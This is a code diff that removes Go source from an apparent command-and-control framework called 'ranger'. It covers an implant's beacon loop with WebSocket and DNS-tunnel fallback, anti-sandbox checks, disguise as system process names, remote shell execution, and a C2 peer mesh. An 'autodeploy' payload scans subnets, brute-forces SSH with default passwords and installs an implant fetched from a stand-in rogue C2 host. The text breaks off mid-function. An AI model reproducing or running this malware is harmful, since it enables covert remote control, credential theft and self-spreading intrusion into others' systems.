||||
|
||||
// Run starts the main beacon loop.
|
||||
func (im *Implant) Run() error {
|
||||
if !im.environmentCheck() {
|
||||
log.Printf("[implant] environment check failed, going dormant")
|
||||
time.Sleep(1 * time.Hour)
|
||||
if !im.environmentCheck() {
|
||||
return fmt.Errorf("hostile environment")
|
||||
}
|
||||
}
|
||||
|
||||
log.Printf("[implant] started: %s (proc: %s)", im.id[:8], im.targetProc)
|
||||
|
||||
for {
|
||||
select {
|
||||
case <-im.stopCh:
|
||||
return nil
|
||||
default:
|
||||
}
|
||||
|
||||
// Try primary WebSocket channel
|
||||
err := im.beaconPrimary()
|
||||
if err != nil {
|
||||
log.Printf("[implant] primary channel failed: %v", err)
|
||||
// Fall back to DNS tunnel
|
||||
if im.dnsTunnel != nil {
|
||||
im.beaconDNS()
|
||||
}
|
||||
}
|
||||
|
||||
interval := jitterInterval(im.cfg.BeaconMin, im.cfg.BeaconMax)
|
||||
sleepWithJitter(interval)
|
||||
}
|
||||
}
|
||||
|
||||
// Stop signals the implant to shut down.
|
||||
func (im *Implant) Stop() {
|
||||
close(im.stopCh)
|
||||
}
|
||||
|
||||
// beaconPrimary sends a beacon via WebSocket to the C2.
|
||||
func (im *Implant) beaconPrimary() error {
|
||||
// Connect if not connected
|
||||
if im.wsConn == nil {
|
||||
tlsCfg, err := tlsClientConfig(im.cfg)
|
||||
if err != nil {
|
||||
return fmt.Errorf("tls config: %w", err)
|
||||
}
|
||||
dialer := websocket.Dialer{
|
||||
TLSClientConfig: tlsCfg, // nil = system trust store
|
||||
HandshakeTimeout: 10 * time.Second,
|
||||
}
|
||||
conn, _, err := dialer.Dial(im.cfg.C2URL, http.Header{
|
||||
"User-Agent": []string{userAgent()},
|
||||
})
|
||||
if err != nil {
|
||||
return fmt.Errorf("ws dial: %w", err)
|
||||
}
|
||||
im.wsMu.Lock()
|
||||
im.wsConn = conn
|
||||
im.wsMu.Unlock()
|
||||
defer func() {
|
||||
im.wsMu.Lock()
|
||||
im.wsConn.Close()
|
||||
im.wsConn = nil
|
||||
im.wsMu.Unlock()
|
||||
}()
|
||||
}
|
||||
|
||||
// Build beacon
|
||||
beacon := protocol.BeaconPayload{
|
||||
ID: im.id[:16],
|
||||
Type: protocol.ImplantType(runtime.GOOS),
|
||||
Target: im.targetProc,
|
||||
Timestamp: time.Now().Unix(),
|
||||
Hostname: im.hostname,
|
||||
Arch: im.arch,
|
||||
}
|
||||
|
||||
// Encrypt with session key
|
||||
data, _ := json.Marshal(beacon)
|
||||
encrypted, err := crypto.EncryptWithAEAD(im.cfg.SessionKey, data)
|
||||
if err != nil {
|
||||
return fmt.Errorf("encrypt: %w", err)
|
||||
}
|
||||
|
||||
im.wsMu.Lock()
|
||||
err = im.wsConn.WriteMessage(websocket.BinaryMessage, encrypted)
|
||||
im.wsMu.Unlock()
|
||||
if err != nil {
|
||||
return fmt.Errorf("ws write: %w", err)
|
||||
}
|
||||
|
||||
// Read tasks
|
||||
im.wsMu.Lock()
|
||||
_, msg, err := im.wsConn.ReadMessage()
|
||||
im.wsMu.Unlock()
|
||||
if err != nil {
|
||||
return fmt.Errorf("ws read: %w", err)
|
||||
}
|
||||
|
||||
decrypted, err := crypto.DecryptWithAEAD(im.cfg.SessionKey, msg)
|
||||
if err != nil {
|
||||
return fmt.Errorf("decrypt: %w", err)
|
||||
}
|
||||
|
||||
var tasks []protocol.Task
|
||||
if err := json.Unmarshal(decrypted, &tasks); err != nil {
|
||||
return fmt.Errorf("unmarshal tasks: %w", err)
|
||||
}
|
||||
|
||||
// Execute tasks
|
||||
for _, task := range tasks {
|
||||
result := im.executeTask(&task)
|
||||
resultJSON, _ := json.Marshal(result)
|
||||
encResult, _ := crypto.EncryptWithAEAD(im.cfg.SessionKey, resultJSON)
|
||||
im.wsMu.Lock()
|
||||
im.wsConn.WriteMessage(websocket.BinaryMessage, encResult)
|
||||
im.wsMu.Unlock()
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// beaconDNS sends a beacon via DNS tunnel as fallback.
|
||||
func (im *Implant) beaconDNS() {
|
||||
if im.dnsTunnel == nil {
|
||||
return
|
||||
}
|
||||
|
||||
beacon := protocol.BeaconPayload{
|
||||
ID: im.id[:16],
|
||||
Type: protocol.ImplantType(runtime.GOOS),
|
||||
Target: im.targetProc,
|
||||
Timestamp: time.Now().Unix(),
|
||||
}
|
||||
data, _ := json.Marshal(beacon)
|
||||
|
||||
if err := im.dnsTunnel.Exfiltrate(data, "beacon"); err != nil {
|
||||
log.Printf("[implant] DNS beacon failed: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
// executeTask runs a single task and returns the result.
|
||||
func (im *Implant) executeTask(task *protocol.Task) *protocol.TaskResult {
|
||||
result := &protocol.TaskResult{
|
||||
TaskID: task.ID,
|
||||
Timestamp: time.Now().Unix(),
|
||||
}
|
||||
|
||||
switch task.Type {
|
||||
case "shell":
|
||||
output, err := executeShell(task.Payload)
|
||||
if err != nil {
|
||||
result.Error = err.Error()
|
||||
} else {
|
||||
result.Success = true
|
||||
result.Output = output
|
||||
}
|
||||
case "recon":
|
||||
output, err := executeRecon(task.Payload)
|
||||
if err != nil {
|
||||
result.Error = err.Error()
|
||||
} else {
|
||||
result.Success = true
|
||||
result.Output = output
|
||||
}
|
||||
case "upload":
|
||||
result.Success = true
|
||||
result.Output = "upload queued"
|
||||
case "download":
|
||||
result.Success = true
|
||||
result.Output = "download queued"
|
||||
case "sleep":
|
||||
result.Success = true
|
||||
result.Output = "sleep command received"
|
||||
case "payload":
|
||||
output, err := im.executePayload(task.Payload)
|
||||
if err != nil {
|
||||
result.Error = err.Error()
|
||||
} else {
|
||||
result.Success = true
|
||||
result.Output = output
|
||||
}
|
||||
case "exit":
|
||||
result.Success = true
|
||||
result.Output = "self-destruct initiated"
|
||||
go im.Stop()
|
||||
default:
|
||||
result.Error = fmt.Sprintf("unknown task type: %s", task.Type)
|
||||
}
|
||||
|
||||
return result
|
||||
}
|
||||
|
||||
// environmentCheck runs anti-sandbox checks.
|
||||
func (im *Implant) environmentCheck() bool {
|
||||
checks := 0
|
||||
|
||||
// Uptime check
|
||||
if uptimeSec() >= MinUptimeSec {
|
||||
checks++
|
||||
}
|
||||
|
||||
// Disk check
|
||||
if diskTotalGB() >= MinDiskGB {
|
||||
checks++
|
||||
}
|
||||
|
||||
// CPU check
|
||||
if runtime.NumCPU() >= 2 {
|
||||
checks++
|
||||
}
|
||||
|
||||
return checks >= 2
|
||||
}
|
||||
|
||||
// executePayload runs a Go payload from the in-process payload registry.
|
||||
func (im *Implant) executePayload(payload map[string]any) (string, error) {
|
||||
name, _ := payload["name"].(string)
|
||||
if name == "" {
|
||||
return "", fmt.Errorf("no payload name specified")
|
||||
}
|
||||
|
||||
args := payloads.ExecuteTaskArgs(payload)
|
||||
data, err := payloads.ExecuteByName(name, args)
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("payload %s: %w", name, err)
|
||||
}
|
||||
|
||||
return string(data), nil
|
||||
}
|
||||
|
||||
func generateMachineID(hostname string) string {
|
||||
b := make([]byte, 16)
|
||||
rand.Read(b)
|
||||
return fmt.Sprintf("%x", b)
|
||||
}
|
||||
|
||||
func selectTargetProcess() string {
|
||||
switch runtime.GOOS {
|
||||
case "windows":
|
||||
targets := []string{"taskhostw.exe", "sihost.exe", "dllhost.exe", "RuntimeBroker.exe", "CompatTelRunner.exe"}
|
||||
return targets[time.Now().UnixNano()%int64(len(targets))]
|
||||
case "linux":
|
||||
targets := []string{"packagekitd", "systemd-journald", "irqbalance", "accounts-daemon"}
|
||||
return targets[time.Now().UnixNano()%int64(len(targets))]
|
||||
case "darwin":
|
||||
targets := []string{"metadatah", "bird", "cloudd", "distnoted"}
|
||||
return targets[time.Now().UnixNano()%int64(len(targets))]
|
||||
default:
|
||||
return "service"
|
||||
}
|
||||
}
|
||||
|
||||
func jitterInterval(minSec, maxSec int) time.Duration {
|
||||
if minSec <= 0 {
|
||||
minSec = 60
|
||||
}
|
||||
if maxSec <= 0 {
|
||||
maxSec = 300
|
||||
}
|
||||
n, _ := rand.Int(rand.Reader, big.NewInt(int64(maxSec-minSec+1)))
|
||||
interval := minSec + int(n.Int64())
|
||||
|
||||
// Time-based shaping
|
||||
hour := time.Now().Hour()
|
||||
if hour >= 1 && hour <= 5 {
|
||||
interval *= 3
|
||||
} else if hour >= 9 && hour <= 17 {
|
||||
interval = interval * 7 / 10
|
||||
}
|
||||
|
||||
return time.Duration(interval) * time.Second
|
||||
}
|
||||
|
||||
func sleepWithJitter(d time.Duration) {
|
||||
// Break into smaller sleeps for responsiveness
|
||||
const chunk = 5 * time.Second
|
||||
for d > 0 {
|
||||
if d < chunk {
|
||||
time.Sleep(d)
|
||||
return
|
||||
}
|
||||
time.Sleep(chunk)
|
||||
d -= chunk
|
||||
}
|
||||
}
|
||||
|
||||
func uptimeSec() int64 {
|
||||
// Simple uptime via /proc on Linux
|
||||
if runtime.GOOS == "linux" {
|
||||
data, err := os.ReadFile("/proc/uptime")
|
||||
if err == nil {
|
||||
parts := strings.Fields(string(data))
|
||||
if len(parts) > 0 {
|
||||
var uptime float64
|
||||
fmt.Sscanf(parts[0], "%f", &uptime)
|
||||
return int64(uptime)
|
||||
}
|
||||
}
|
||||
}
|
||||
return 999999 // assume safe
|
||||
}
|
||||
|
||||
func diskTotalGB() float64 {
|
||||
// Simple check - return large value on non-Linux
|
||||
if runtime.GOOS == "linux" {
|
||||
var stat unixStatfs_t
|
||||
if statfs("/", &stat) == nil {
|
||||
total := uint64(stat.Bsize) * stat.Blocks
|
||||
return float64(total) / (1024 * 1024 * 1024)
|
||||
}
|
||||
}
|
||||
return 999
|
||||
}
|
||||
|
||||
// executeShell runs a shell command and returns output.
|
||||
func executeShell(payload map[string]any) (string, error) {
|
||||
cmd, _ := payload["command"].(string)
|
||||
if cmd == "" {
|
||||
return "", fmt.Errorf("no command")
|
||||
}
|
||||
|
||||
// Use shell based on platform
|
||||
var shell, flag string
|
||||
switch runtime.GOOS {
|
||||
case "windows":
|
||||
shell = "cmd.exe"
|
||||
flag = "/C"
|
||||
default:
|
||||
shell = "/bin/sh"
|
||||
flag = "-c"
|
||||
}
|
||||
|
||||
return execCommand(shell, flag, cmd)
|
||||
}
|
||||
|
||||
// executeRecon gathers system information.
|
||||
func executeRecon(payload map[string]any) (string, error) {
|
||||
info := map[string]any{
|
||||
"os": runtime.GOOS,
|
||||
"arch": runtime.GOARCH,
|
||||
"hostname": hostname(),
|
||||
"cpus": runtime.NumCPU(),
|
||||
"gover": runtime.Version(),
|
||||
}
|
||||
data, _ := json.MarshalIndent(info, "", " ")
|
||||
return string(data), nil
|
||||
}
|
||||
|
||||
func hostname() string {
|
||||
h, _ := os.Hostname()
|
||||
return h
|
||||
}
|
||||
|
||||
func userAgent() string {
|
||||
return "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"
|
||||
}
|
||||
|
||||
// tlsClientConfig builds the TLS settings for the C2 WebSocket dial.
|
||||
func tlsClientConfig(cfg Config) (*tls.Config, error) {
|
||||
if cfg.CAFile == "" && cfg.C2Fingerprint == "" && !cfg.SkipTLSVerify {
|
||||
return nil, nil // system trust store
|
||||
}
|
||||
|
||||
tc := &tls.Config{MinVersion: tls.VersionTLS12}
|
||||
|
||||
if cfg.SkipTLSVerify {
|
||||
tc.InsecureSkipVerify = true
|
||||
}
|
||||
|
||||
if cfg.CAFile != "" {
|
||||
pemData, err := os.ReadFile(cfg.CAFile)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("read ca file: %w", err)
|
||||
}
|
||||
pool := x509.NewCertPool()
|
||||
if !pool.AppendCertsFromPEM(pemData) {
|
||||
return nil, fmt.Errorf("no certificates found in %s", cfg.CAFile)
|
||||
}
|
||||
tc.RootCAs = pool
|
||||
}
|
||||
|
||||
if cfg.C2Fingerprint != "" {
|
||||
want := normalizeFingerprint(cfg.C2Fingerprint)
|
||||
tc.InsecureSkipVerify = true // chain verifies via pin below
|
||||
tc.VerifyPeerCertificate = func(rawCerts [][]byte, _ [][]*x509.Certificate) error {
|
||||
if len(rawCerts) == 0 {
|
||||
return fmt.Errorf("no peer certificate presented")
|
||||
}
|
||||
sum := sha256.Sum256(rawCerts[0])
|
||||
if hex.EncodeToString(sum[:]) != want {
|
||||
return fmt.Errorf("certificate fingerprint mismatch")
|
||||
}
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
return tc, nil
|
||||
}
|
||||
|
||||
func normalizeFingerprint(fp string) string {
|
||||
fp = strings.ToLower(strings.TrimSpace(fp))
|
||||
fp = strings.ReplaceAll(fp, ":", "")
|
||||
fp = strings.ReplaceAll(fp, " ", "")
|
||||
return fp
|
||||
}
|
||||
@@ -1,15 +0,0 @@
|
||||
//go:build linux || darwin
|
||||
|
||||
package implantpkg
|
||||
|
||||
import "syscall"
|
||||
|
||||
type unixStatfs_t = syscall.Statfs_t
|
||||
|
||||
func statfs(path string, stat *unixStatfs_t) error {
|
||||
return syscall.Statfs(path, stat)
|
||||
}
|
||||
|
||||
func execCommand(shell, flag, cmd string) (string, error) {
|
||||
return execCommandGeneric(shell, flag, cmd)
|
||||
}
|
||||
@@ -1,43 +0,0 @@
|
||||
//go:build windows
|
||||
|
||||
package implantpkg
|
||||
|
||||
import (
|
||||
"syscall"
|
||||
"unsafe"
|
||||
)
|
||||
|
||||
// statfsStats mirrors the unix statfs fields ranger reads on Linux so the
|
||||
// shared statfs() callers compile unchanged; on Windows the values are
|
||||
// populated from GetDiskFreeSpaceExW below.
|
||||
type unixStatfs_t struct {
|
||||
Bsize uint64
|
||||
Blocks uint64
|
||||
}
|
||||
|
||||
func statfs(path string, stat *unixStatfs_t) error {
|
||||
// Use GetDiskFreeSpaceEx on Windows
|
||||
kernel32 := syscall.NewLazyDLL("kernel32.dll")
|
||||
getDiskFreeSpaceEx := kernel32.NewProc("GetDiskFreeSpaceExW")
|
||||
|
||||
pathPtr, _ := syscall.UTF16PtrFromString(path + "\\")
|
||||
var freeBytesAvailable, totalBytes, totalFreeBytes int64
|
||||
|
||||
ret, _, _ := getDiskFreeSpaceEx.Call(
|
||||
uintptr(unsafe.Pointer(pathPtr)),
|
||||
uintptr(unsafe.Pointer(&freeBytesAvailable)),
|
||||
uintptr(unsafe.Pointer(&totalBytes)),
|
||||
uintptr(unsafe.Pointer(&totalFreeBytes)),
|
||||
)
|
||||
if ret == 0 {
|
||||
return syscall.GetLastError()
|
||||
}
|
||||
|
||||
stat.Blocks = uint64(totalBytes) / 4096
|
||||
stat.Bsize = 4096
|
||||
return nil
|
||||
}
|
||||
|
||||
func execCommand(shell, flag, cmd string) (string, error) {
|
||||
return execCommandGeneric(shell, flag, cmd)
|
||||
}
|
||||
@@ -1,300 +0,0 @@
|
||||
// Package mesh provides P2P networking between C2 nodes.
|
||||
// Uses TLS mutual auth + gossip protocol over TCP for discovery and state sync.
|
||||
package mesh
|
||||
|
||||
import (
|
||||
"crypto"
|
||||
"crypto/ed25519"
|
||||
"crypto/tls"
|
||||
"encoding/gob"
|
||||
"encoding/hex"
|
||||
"fmt"
|
||||
"log"
|
||||
"net"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"github.com/saviorSEC/ranger/internal/protocol"
|
||||
)
|
||||
|
||||
// Config for a mesh node.
|
||||
type Config struct {
|
||||
NodeID string
|
||||
ListenAddr string
|
||||
Bootstrap []string // initial peers to connect to
|
||||
TLSCert tls.Certificate
|
||||
SigningKey crypto.Signer // Ed25519 node identity key; signs every heartbeat
|
||||
OnHeartbeat func(*protocol.MeshHeartbeat)
|
||||
OnPeerJoin func(*protocol.MeshNode)
|
||||
OnPeerLeave func(string)
|
||||
}
|
||||
|
||||
// Node is a peer in the C2 mesh network.
|
||||
type Node struct {
|
||||
cfg Config
|
||||
peers map[string]*peerConn
|
||||
mu sync.RWMutex
|
||||
stopCh chan struct{}
|
||||
}
|
||||
|
||||
type peerConn struct {
|
||||
id string
|
||||
conn net.Conn
|
||||
enc *gob.Encoder
|
||||
dec *gob.Decoder
|
||||
peerKey ed25519.PublicKey // from peer TLS cert
|
||||
lastSeen time.Time
|
||||
}
|
||||
|
||||
// signHeartbeat signs the canonical heartbeat bytes with the node key.
|
||||
func (n *Node) signHeartbeat(hb *protocol.MeshHeartbeat) error {
|
||||
if n.cfg.SigningKey == nil {
|
||||
return nil // unsigned mode (no key configured)
|
||||
}
|
||||
payload := heartbeatPayload(hb)
|
||||
sig, err := n.cfg.SigningKey.Sign(nil, payload, crypto.Hash(0))
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
hb.Signature = sig
|
||||
return nil
|
||||
}
|
||||
|
||||
// verifyHeartbeat checks a peer heartbeat signature against the peer key
|
||||
// learned from its TLS client certificate.
|
||||
func verifyHeartbeat(hb *protocol.MeshHeartbeat, pub ed25519.PublicKey) bool {
|
||||
if len(pub) == 0 {
|
||||
return false
|
||||
}
|
||||
payload := heartbeatPayload(hb)
|
||||
return ed25519.Verify(pub, payload, hb.Signature)
|
||||
}
|
||||
|
||||
func heartbeatPayload(hb *protocol.MeshHeartbeat) []byte {
|
||||
return []byte(fmt.Sprintf("%s|%s|%d", hb.NodeID, hb.Addr, hb.Timestamp))
|
||||
}
|
||||
|
||||
// NewNode creates a mesh node.
|
||||
func NewNode(cfg Config) *Node {
|
||||
return &Node{
|
||||
cfg: cfg,
|
||||
peers: make(map[string]*peerConn),
|
||||
stopCh: make(chan struct{}),
|
||||
}
|
||||
}
|
||||
|
||||
// Start begins listening for peer connections and bootstraps.
|
||||
func (n *Node) Start() error {
|
||||
ln, err := tls.Listen("tcp", n.cfg.ListenAddr, &tls.Config{
|
||||
Certificates: []tls.Certificate{n.cfg.TLSCert},
|
||||
ClientAuth: tls.RequireAnyClientCert,
|
||||
InsecureSkipVerify: true, // self-signed certs
|
||||
MinVersion: tls.VersionTLS12,
|
||||
})
|
||||
if err != nil {
|
||||
return fmt.Errorf("mesh listen: %w", err)
|
||||
}
|
||||
|
||||
go func() {
|
||||
for {
|
||||
conn, err := ln.Accept()
|
||||
if err != nil {
|
||||
select {
|
||||
case <-n.stopCh:
|
||||
return
|
||||
default:
|
||||
log.Printf("[mesh] accept error: %v", err)
|
||||
time.Sleep(100 * time.Millisecond)
|
||||
continue
|
||||
}
|
||||
}
|
||||
go n.handlePeer(conn)
|
||||
}
|
||||
}()
|
||||
|
||||
// Bootstrap to known peers
|
||||
for _, addr := range n.cfg.Bootstrap {
|
||||
go n.dialPeer(addr)
|
||||
}
|
||||
|
||||
// Start heartbeat broadcaster
|
||||
go n.heartbeatLoop()
|
||||
|
||||
log.Printf("[mesh] node %s listening on %s with %d bootstrap peers",
|
||||
n.cfg.NodeID[:8], n.cfg.ListenAddr, len(n.cfg.Bootstrap))
|
||||
return nil
|
||||
}
|
||||
|
||||
// Stop shuts down the mesh node.
|
||||
func (n *Node) Stop() {
|
||||
close(n.stopCh)
|
||||
}
|
||||
|
||||
// handlePeer processes an incoming or outgoing peer connection.
|
||||
func (n *Node) handlePeer(conn net.Conn) {
|
||||
defer conn.Close()
|
||||
|
||||
tlsConn, ok := conn.(*tls.Conn)
|
||||
if !ok {
|
||||
return
|
||||
}
|
||||
if err := tlsConn.Handshake(); err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
// Derive peer ID + identity key from the client cert (mTLS).
|
||||
certs := tlsConn.ConnectionState().PeerCertificates
|
||||
peerID := n.cfg.NodeID // fallback: same as us
|
||||
var peerKey ed25519.PublicKey
|
||||
if len(certs) > 0 {
|
||||
if cn := certs[0].Subject.CommonName; cn != "" {
|
||||
peerID = cn
|
||||
} else {
|
||||
peerID = hex.EncodeToString(certs[0].SerialNumber.Bytes())
|
||||
}
|
||||
if pk, ok := certs[0].PublicKey.(ed25519.PublicKey); ok {
|
||||
peerKey = pk
|
||||
}
|
||||
}
|
||||
|
||||
enc := gob.NewEncoder(conn)
|
||||
dec := gob.NewDecoder(conn)
|
||||
|
||||
// Send our identity immediately (signed)
|
||||
hb := protocol.MeshHeartbeat{
|
||||
NodeID: n.cfg.NodeID,
|
||||
Addr: n.cfg.ListenAddr,
|
||||
Implants: nil,
|
||||
Timestamp: time.Now().Unix(),
|
||||
}
|
||||
if err := n.signHeartbeat(&hb); err != nil {
|
||||
log.Printf("[mesh] sign identity: %v", err)
|
||||
}
|
||||
if err := enc.Encode(hb); err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
// Wait for peer's identity
|
||||
var peerHB protocol.MeshHeartbeat
|
||||
if err := dec.Decode(&peerHB); err != nil {
|
||||
return
|
||||
}
|
||||
if peerHB.NodeID != "" {
|
||||
peerID = peerHB.NodeID
|
||||
}
|
||||
|
||||
n.mu.Lock()
|
||||
n.peers[peerID] = &peerConn{
|
||||
id: peerID,
|
||||
conn: conn,
|
||||
enc: enc,
|
||||
dec: dec,
|
||||
peerKey: peerKey,
|
||||
lastSeen: time.Now(),
|
||||
}
|
||||
n.mu.Unlock()
|
||||
|
||||
if n.cfg.OnPeerJoin != nil {
|
||||
n.cfg.OnPeerJoin(&protocol.MeshNode{
|
||||
ID: peerID,
|
||||
Addr: conn.RemoteAddr().String(),
|
||||
Implants: len(peerHB.Implants),
|
||||
Version: "3.0",
|
||||
})
|
||||
}
|
||||
|
||||
// Read loop for heartbeats
|
||||
for {
|
||||
conn.SetDeadline(time.Now().Add(60 * time.Second))
|
||||
var msg protocol.MeshHeartbeat
|
||||
if err := dec.Decode(&msg); err != nil {
|
||||
break
|
||||
}
|
||||
conn.SetDeadline(time.Time{})
|
||||
|
||||
if peerKey != nil && len(msg.Signature) > 0 {
|
||||
if !verifyHeartbeat(&msg, peerKey) {
|
||||
log.Printf("[mesh] dropping heartbeat with bad signature from %s", peerID[:8])
|
||||
continue
|
||||
}
|
||||
}
|
||||
|
||||
n.mu.Lock()
|
||||
if p, ok := n.peers[peerID]; ok {
|
||||
p.lastSeen = time.Now()
|
||||
}
|
||||
n.mu.Unlock()
|
||||
|
||||
if n.cfg.OnHeartbeat != nil {
|
||||
n.cfg.OnHeartbeat(&msg)
|
||||
}
|
||||
}
|
||||
|
||||
n.mu.Lock()
|
||||
delete(n.peers, peerID)
|
||||
n.mu.Unlock()
|
||||
if n.cfg.OnPeerLeave != nil {
|
||||
n.cfg.OnPeerLeave(peerID)
|
||||
}
|
||||
}
|
||||
|
||||
// dialPeer connects to a remote mesh node.
|
||||
func (n *Node) dialPeer(addr string) {
|
||||
conn, err := tls.Dial("tcp", addr, &tls.Config{
|
||||
Certificates: []tls.Certificate{n.cfg.TLSCert},
|
||||
InsecureSkipVerify: true,
|
||||
MinVersion: tls.VersionTLS12,
|
||||
})
|
||||
if err != nil {
|
||||
log.Printf("[mesh] dial %s: %v", addr, err)
|
||||
return
|
||||
}
|
||||
n.handlePeer(conn)
|
||||
}
|
||||
|
||||
// heartbeatLoop broadcasts our presence to all peers periodically.
|
||||
func (n *Node) heartbeatLoop() {
|
||||
ticker := time.NewTicker(30 * time.Second)
|
||||
defer ticker.Stop()
|
||||
|
||||
for {
|
||||
select {
|
||||
case <-ticker.C:
|
||||
hb := protocol.MeshHeartbeat{
|
||||
NodeID: n.cfg.NodeID,
|
||||
Addr: n.cfg.ListenAddr,
|
||||
Timestamp: time.Now().Unix(),
|
||||
}
|
||||
if err := n.signHeartbeat(&hb); err != nil {
|
||||
log.Printf("[mesh] sign heartbeat: %v", err)
|
||||
continue
|
||||
}
|
||||
|
||||
n.mu.RLock()
|
||||
for id, p := range n.peers {
|
||||
if err := p.enc.Encode(hb); err != nil {
|
||||
log.Printf("[mesh] send to %s: %v", id[:8], err)
|
||||
}
|
||||
}
|
||||
n.mu.RUnlock()
|
||||
case <-n.stopCh:
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Peers returns the list of connected peer IDs.
|
||||
func (n *Node) Peers() []string {
|
||||
n.mu.RLock()
|
||||
defer n.mu.RUnlock()
|
||||
var out []string
|
||||
for id := range n.peers {
|
||||
out = append(out, id)
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// init registers types for gob encoding.
|
||||
func init() {
|
||||
gob.Register(protocol.MeshHeartbeat{})
|
||||
}
|
||||
@@ -1,213 +0,0 @@
|
||||
package payloads
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"net"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"golang.org/x/crypto/ssh"
|
||||
)
|
||||
|
||||
func init() {
|
||||
Register(&AutoDeploy{})
|
||||
}
|
||||
|
||||
type AutoDeploy struct{}
|
||||
|
||||
func (a *AutoDeploy) Name() string { return "autodeploy" }
|
||||
func (a *AutoDeploy) Category() string { return "lateral" }
|
||||
func (a *AutoDeploy) Description() string {
|
||||
return "Auto-discover hosts via network scanning and deploy implants via SSH"
|
||||
}
|
||||
|
||||
func (a *AutoDeploy) Execute(args map[string]string) ([]byte, error) {
|
||||
network := args["network"]
|
||||
if network == "" {
|
||||
network = "192.168.1.0/24"
|
||||
}
|
||||
implantURL := args["implant_url"]
|
||||
if implantURL == "" {
|
||||
implantURL = "http://rogue-c2.example.com/implant"
|
||||
}
|
||||
threadsStr := args["threads"]
|
||||
threads := 10
|
||||
fmt.Sscanf(threadsStr, "%d", &threads)
|
||||
|
||||
result := a.deploy(network, implantURL, threads)
|
||||
return MarshalJSON(result)
|
||||
}
|
||||
|
||||
type autodeployResult struct {
|
||||
Timestamp string `json:"timestamp"`
|
||||
Network string `json:"network"`
|
||||
Discovered int `json:"discovered"`
|
||||
Deployed int `json:"deployed"`
|
||||
Failed int `json:"failed"`
|
||||
Hosts []deployHost `json:"hosts"`
|
||||
Credentials []deployCred `json:"valid_credentials,omitempty"`
|
||||
}
|
||||
|
||||
type deployHost struct {
|
||||
IP string `json:"ip"`
|
||||
Online bool `json:"online"`
|
||||
Deployed bool `json:"deployed"`
|
||||
}
|
||||
|
||||
type deployCred struct {
|
||||
Host string `json:"host"`
|
||||
Username string `json:"username"`
|
||||
Password string `json:"password"`
|
||||
}
|
||||
|
||||
var commonCreds = []struct {
|
||||
User string
|
||||
Passwords []string
|
||||
}{
|
||||
{"root", []string{"root", "toor", "admin", "password", ""}},
|
||||
{"admin", []string{"admin", "password", "123456", ""}},
|
||||
{"ubuntu", []string{"ubuntu", ""}},
|
||||
{"pi", []string{"raspberry", ""}},
|
||||
{"user", []string{"user", "123456", ""}},
|
||||
}
|
||||
|
||||
func (a *AutoDeploy) deploy(network, implantURL string, threads int) *autodeployResult {
|
||||
r := &autodeployResult{
|
||||
Timestamp: time.Now().UTC().Format(time.RFC3339),
|
||||
Network: network,
|
||||
}
|
||||
|
||||
// Discover hosts
|
||||
hosts := discoverHosts(network)
|
||||
r.Discovered = len(hosts)
|
||||
for _, h := range hosts {
|
||||
r.Hosts = append(r.Hosts, deployHost{IP: h, Online: true})
|
||||
}
|
||||
|
||||
if len(hosts) == 0 {
|
||||
return r
|
||||
}
|
||||
|
||||
// Deploy to each host
|
||||
var mu sync.Mutex
|
||||
var wg sync.WaitGroup
|
||||
sema := make(chan struct{}, threads)
|
||||
|
||||
for _, host := range hosts {
|
||||
sema <- struct{}{}
|
||||
wg.Add(1)
|
||||
go func(ip string) {
|
||||
defer wg.Done()
|
||||
defer func() { <-sema }()
|
||||
|
||||
deployed := false
|
||||
for _, cred := range commonCreds {
|
||||
if deployed {
|
||||
break
|
||||
}
|
||||
for _, pass := range cred.Passwords {
|
||||
if trySSHDeploy(ip, cred.User, pass, implantURL) {
|
||||
mu.Lock()
|
||||
r.Deployed++
|
||||
r.Credentials = append(r.Credentials, deployCred{
|
||||
Host: ip,
|
||||
Username: cred.User,
|
||||
Password: pass,
|
||||
})
|
||||
mu.Unlock()
|
||||
deployed = true
|
||||
break
|
||||
}
|
||||
time.Sleep(100 * time.Millisecond)
|
||||
}
|
||||
}
|
||||
if !deployed {
|
||||
mu.Lock()
|
||||
r.Failed++
|
||||
mu.Unlock()
|
||||
}
|
||||
}(host)
|
||||
}
|
||||
wg.Wait()
|
||||
|
||||
return r
|
||||
}
|
||||
|
||||
func discoverHosts(network string) []string {
|
||||
var hosts []string
|
||||
|
||||
// Use fping if available
|
||||
if fping, err := exec.LookPath("fping"); err == nil {
|
||||
out, err := exec.Command(fping, "-a", "-g", network, "-q").Output()
|
||||
if err == nil {
|
||||
for _, line := range strings.Split(string(out), "\n") {
|
||||
ip := strings.TrimSpace(line)
|
||||
if ip != "" {
|
||||
hosts = append(hosts, ip)
|
||||
}
|
||||
}
|
||||
if len(hosts) > 0 {
|
||||
return hosts
|
||||
}
|
||||
}
|
||||
_ = fping
|
||||
}
|
||||
|
||||
// Sequential ping scan
|
||||
_, ipnet, err := net.ParseCIDR(network)
|
||||
if err != nil {
|
||||
return hosts
|
||||
}
|
||||
|
||||
ip := ipnet.IP.Mask(ipnet.Mask)
|
||||
for ip := ip.Mask(ipnet.Mask); ipnet.Contains(ip); incIP(ip) {
|
||||
if ip.IsLoopback() || ip.Equal(ipnet.IP.Mask(ipnet.Mask)) {
|
||||
continue
|
||||
}
|
||||
// Quick port check on 22
|
||||
addr := fmt.Sprintf("%s:22", ip.String())
|
||||
conn, err := net.DialTimeout("tcp", addr, 500*time.Millisecond)
|
||||
if err == nil {
|
||||
conn.Close()
|
||||
hosts = append(hosts, ip.String())
|
||||
}
|
||||
if len(hosts) >= 50 {
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
return hosts
|
||||
}
|
||||
|
||||
func trySSHDeploy(host, username, password, implantURL string) bool {
|
||||
